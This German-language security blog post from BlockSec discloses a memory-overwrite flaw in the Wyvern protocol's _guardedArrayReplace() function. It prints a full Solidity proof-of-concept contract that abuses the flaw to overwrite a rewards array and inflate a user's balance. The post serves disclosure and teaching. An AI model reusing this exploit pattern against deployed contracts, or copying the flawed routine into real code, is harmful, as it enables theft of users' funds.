Back to Blog

Neue Speicherüberschreibungs-Schwachstelle im Wyvern-Protokoll entdeckt

Code Auditing
September 8, 2022

Einleitung

Unser System zur Erkennung von Schwachstellen hat eine Speicherüberschreibungs-Schwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden, die zum Wyvern dezentralen Börsenprotokoll gehört und zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.

Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), aber bisher noch keine Antwort erhalten. Da OpenSea auf das Seaport-Protokoll umgestellt hat, glauben wir, dass es sicher ist, die detaillierten Informationen öffentlich bekannt zu geben. Außerdem möchten wir diese Erkenntnisse teilen, um die Community zu involvieren, da der Fehler selbst etwas knifflig ist, während die Ausnutzung ziemlich interessant ist.

Beschreibung

Der anfällige Code ist im offiziellen Code-Repository unter dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.

Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein dynamisch großes Byte-Array (d. h. den zweiten Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. den ersten Parameter namens _array). Beachten Sie, dass diese Funktion so implementiert ist, dass sie eine Operation auf Wortebene (d. h. 0x20 Bytes) durchführt, sodass die Codestruktur in zwei Schritte unterteilt werden kann, basierend auf dem Ergebnis der Division.

Für den Quotienten-Teil (d. h. _words = _array.length / 0x20) kopiert die Codestruktur von Zeile 42 bis Zeile 49 das gewünschte Array Wort für Wort in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die Assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Codestruktur von Zeile 52 bis Zeile 66 ist dazu bestimmt, diese Bytes zu verarbeiten. Leider verwendet die _if_-Anweisung in Zeile 52 fälschlicherweise den Quotienten (_words_, d. h. _array.length_ / 0x20) anstelle des Rests (_array.length % 0x20), um die Überprüfung durchzuführen.

Die Schwere

Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, _array.length_ ist genau durch 0x20 teilbar, wird die Kopiervorgang tatsächlich in der Schleifenlogik durchgeführt. In den meisten Fällen wird die Funktion jedoch in die anfällige Logik eintreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was unweigerlich zu einem Zugriff außerhalb der Grenzen führt. Schlimmer noch, die falsche Logik kann ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für jeden Zweck genutzt werden kann.

Wie dieser Fehler ausgenutzt werden kann?

Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen, die erste namens _test() wird zur Durchführung des Angriffs verwendet, während die zweite nur die anfällige Funktion _guardedArrayReplace() ist.

Insbesondere definieren wir in der Funktion _test() zunächst einige In-Memory-Bytes (_a_, _b_ und _mask_) und ein Array (d. h. __rewards_). Die hier definierte __rewards_ wird zur Berechnung der Belohnungen des Benutzers verwendet. Nach dem Aufruf der Funktion _guardedArrayReplace() zum Kopieren von _a_ nach _b_ mit _mask_ wird __rewards_ zum Saldo des Benutzers hinzugefügt (d. h. _balances[msg.sender]_).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Hier verwenden wir Remix, um das Ergebnis zu demonstrieren. Es ist erwähnenswert, dass wir zunächst keinen Wert für __rewards_ und _balances_ zuweisen. Nach der Ausnutzung wird der Benutzersaldo auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Fazit

Obwohl selten, können solche Speicherüberschreibungs-Schwachstellen immer noch in Smart Contracts vorhanden sein. Entwickler müssen auf die Codestruktur achten, die den Speicher manipuliert.

Über BlockSec

BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit renommierter Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufkommende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Dienstleistungen für die Prüfung von Smart Contracts und EVM-Chains, die Phalcon-Plattform zur proaktiven Entwicklung und Blockierung von Sicherheitsbedrohungen, die MetaSleuth-Plattform zur Verfolgung und Untersuchung von Geldern sowie die MetaDock-Erweiterung für Web3-Entwickler zur effizienten Navigation in der Krypto-Welt.

Bis heute hat das Unternehmen über 300 geschätzte Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge in US-Dollar erhalten.

Offizielle Website: https://blocksec.com/

Offizieller Twitter-Account: https://twitter.com/BlockSecTeam

Sign up for the latest updates
Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation
Security Insights

Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation

On April 1, 2026 (UTC), Drift Protocol on Solana suffered a $285.3M loss after an attacker exploited Solana's durable nonce mechanism to delay the execution of phished multisig approvals, ultimately transferring administrative control of the protocol's 2-of-5 Squads governance with zero timelock. With full admin privileges, the attacker created a malicious collateral market (CVT), inflated its oracle price, relaxed withdrawal protections, and drained USDC, JLP, SOL, cbBTC, and other assets through 31 rapid withdrawals in approximately 12 minutes. This incident highlights how durable nonce-based delayed execution can decouple signer intent from on-chain execution, bypassing the temporal assumptions that multisig security implicitly relies on.

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026

This BlockSec weekly security report covers eight DeFi attack incidents detected between March 23 and March 29, 2026, across Ethereum and BNB Chain, with total estimated losses of approximately $1.53M. Incidents include a $679K flawed burn mechanism exploit on the BCE token, a $512K spot-price manipulation attack on Cyrus Finance's PancakeSwap V3 liquidity withdrawal, a $133.5K flash-loan-driven referral reward manipulation on a TUR staking contract, and multiple integer overflow, reentrancy, and accounting error vulnerabilities in DeFi protocols. The report provides detailed vulnerability analysis and attack transaction breakdowns for each incident.

Newsletter -  March 2026
Security Insights

Newsletter - March 2026

In March 2026, the DeFi ecosystem experienced three major security incidents. Resolv Protocol lost ~$80M due to compromised privileged infrastructure keys, BitcoinReserveOffering suffered ~$2.7M from a double-minting logic flaw, and Venus Protocol incurred ~$2.15M following a donation attack combined with market manipulation.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit